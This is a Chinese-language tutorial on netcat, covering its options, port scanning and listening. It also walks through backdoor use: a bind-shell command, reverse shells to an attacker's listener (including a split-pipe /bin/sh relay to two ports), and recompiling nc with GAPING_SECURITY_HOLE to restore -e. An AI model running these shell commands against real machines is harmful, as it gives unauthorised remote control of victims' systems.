netcat(简称nc)被誉为网络安全界的‘瑞士军刀’,相信很多人都认识它吧。它是一个简单但实用的工具,通过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具, 能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能。本文介绍了nc在Windows和Linux下的使用方法。同时还介绍几个在linux的配置技巧。
nc是一个命令行工具,在Windows和在Linux下的使用方法查不多(如无特别说明,本文测试的Windows机器为winxp+sp2,Linux为Redhat9.0),我们可以通过nc –h(Windows下在nc所在的目录才能用此命令,Linux下必须将nc所在的目录加入Linux的PATH路径里)。我们能看到下图一:
图一: 在windows 中nc –h
一般来说,Linux/Unix系统默认是自带nc这个工具,但是也许是为了安全方面的考虑,后来的nc的版本中去掉了-e参数的。在Linux下我们nc –h可以看到如下图二,通过图一和图二的对比,我们可以清楚的看到,在Linux下少了两个参数,分别是-d和-e。
图二:在Linux下nc –h
从nc –h我们可以看到各个参数的使用方法,nc的基本使用格式是:
nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
下面我们来具体介绍每个参数的意义和用法:
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!] //我们可以通过shell 绑定将Windows下的cmd和Linux的/bin/sh绑定,这样非常危险,我们整个系统对别人来说是完全透明,从下面的例子中我们可以看到。这也是Linux默认去掉-e参数的原因。
-g 网关源路由模式的跳数,最多为8
-G 源路由模式的节点个数,一般为4,8,12, ...n-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs 指定扫描所用的时间
-z 将输入输出关掉--用于扫描时
我们下面将具体举例介绍nc的用法:
1:监听本地机器的端口:
nc –l –p port //port指定监听的本地端口号
图三:监听本机的80端口
2:扫描远程主机:
其常用格式是:nc –vv –z –w 数字 欲扫描IP 端口范围 / /其中数字
指定扫描的时间间隔。
图四:对远程主机进行扫描
3:绑定主机shell作为后门
这一般分两个步骤:
步骤一: 我们在被攻击的机器上用下列命令:nc –v –l –p 端口号 –e shell // 其中端口号是我们欲将shell绑定到哪个端口,shell在不同的系统是不同,在Windows下是cmd.exe,在Linux下一般是/bin/sh。
步骤二: 攻击者在自己的机器上使用命令 :nc 被攻击者IP 端口号来达到远程控制受害者(被攻击者)的机器。
我们下面的例子是将windows下的cmd.exe绑定在80端口,然后在Linux机器上进行控制。
图五:在windows绑定cmd.exe到80端口
图六:我们连接到上面绑定机器的80端口
从图六我们可以看到,我们在Linux下完全得到了Windows下一样的cmd.exe,而且我们可以完全像在本地控制一样远程完全控制Windows,这样如果我们运行format 命令后果可想而知。
4:主机绑定shell并反向连接
我们可以使用两种方法:
方法一:
分两个步骤:
步骤I:攻击者在自己的机器上指定欲监听的端口号,使用如下命令
nc –vv –l –p 欲监听的端口号
步骤II:在受害者(被攻击者)机器上我们绑定shell到攻击者的机器所监听的端口
图七:绑定windows下的cmd到Linux机器的9999端口
这时,我们在步骤一处于监听状态的机器就会看到如图八所示的情形:
图八:在处于监听状态的Linux机器上得到的cmd.exe
可以看到此时我们已完全控制了受害者的机器。
方法二:
我们甚至可以实现将输入窗口和输出窗口绑定到两个不同的端口,
这样我们在一个窗口输入命令,一个窗口输出这个命令的结果,同样分
两个步骤:
步骤I:在攻击者的机器上,我们分别用如下的两个命令
nc –vv –l –p 端口一
nc –vv –l –p 端口二 //这里我们将绑定端口一为输入窗口,绑定端口二为输出窗口。
步骤II:在受害者的机器上,我们使用如下的命令
nc 攻击者机器IP 端口一 | shell | nc 攻击者机器IP 端口二
//这里的shell 和上面所说的shell相同,在Windows指cmd.exe,
在Linux下指/bin/sh
下面的例子中,我们用命令nc 192.168.1.34 9999 |/bin/sh| nc 192.168.1.34 8888 绑定Linux下的shell(即/bin/sh)到我们的Windows机器(IP为192.168.1.34),中间的”|”是管道符合,表示前面的端口9999绑定到我们的输入窗口,后面的端口8888绑定到我们的输出窗口。
图九:绑定端口9999为输入窗口
图十:绑定端口8888为输出窗口
图十一:在Linux机器上绑定shell到输入窗口和输出窗口
当我们在输入窗口输入ls命令时
图十二:在绑定端口为9999的输入窗口输入命令ls
在我们的输出窗口可以看到上面ls命令的输出结果
图十三:在绑定端口为8888的输出窗口我们可以看到ls命令的结果。
细心的读者也许或发现,我上面不是说Linux下默认是不能绑定shell的吗,为什么在上面的图十一中我们却绑定/bin/sh到windows下的端口下?这确实是个很好的问题,诚然Linux为了安全考虑去掉了默认的-e参数,但没有关系,我们可以自己下载一个nc,然后编译让它带有-e参数。
我们下载nc110.tgz到我们的Linux机器上,但是我们发现我们用
tar –zxvf nc110.tgz解压后,然后用
gcc -O -s -DGAPING_SECURITY_HOLE -DTELNET -DLINUX -static -o nc netcat.c 会出现如下图十四的错误提示,说”undefined reference to `_res_init'”。
为什么会出现这种情况呢?这是因为netcat.c中在main函数中调用了函数res_init(),这是一个glibc中的函数,现在改名为了__res_init(),我们可以用sed命令修改netcat.c或是直接在vi中将res_init()改为__res_init(),这是我们再用上面的gcc命令编译就可以通过,而且gcc的参数-s确保strip操作,这样我们在Linux机器上就有了带-e参数的nc了,我们可以用nc –h看到nc的参数列表,如下图十五,我们可以看到,确实已经有了-e的参数选项。
图十五:Linux下带有-e参数的nc
现在我们可以将/bin/sh绑定在一个端口,然后通过Windows机器来控制这个shell。分别如图十六,图十七所示,当我们在Linux机器输入nc -e /bin/sh -l -p 9999时,系统一直处于监听状态,我们在Windows上来监听这个9999端口,然后我们可以输入Linux命令来远程完全控制此shell。
图十六:我们将/bin/sh绑定在9999端口
图十七:我们通过Windows监听9999端口来获得shell
笔者也将nc110.tgz下载到freebsd系统下,经过测试发现,在freebsd下,不需要修改netcat.c中的res_init(),直接用gcc命令编译就可以生成带-e参数的nc,笔者用于测试的freebsd系统为FreeBSD 4.6-RELEASE。
nc确实是网络安全以及黑客世界一个非常流行和使用的工具,nc的用法是很多的,这里我们只介绍了几种最常用的用法,并且介绍了在Linux下重新编译nc使得其带有-e参数的方法和技巧,希望对大家有所帮助。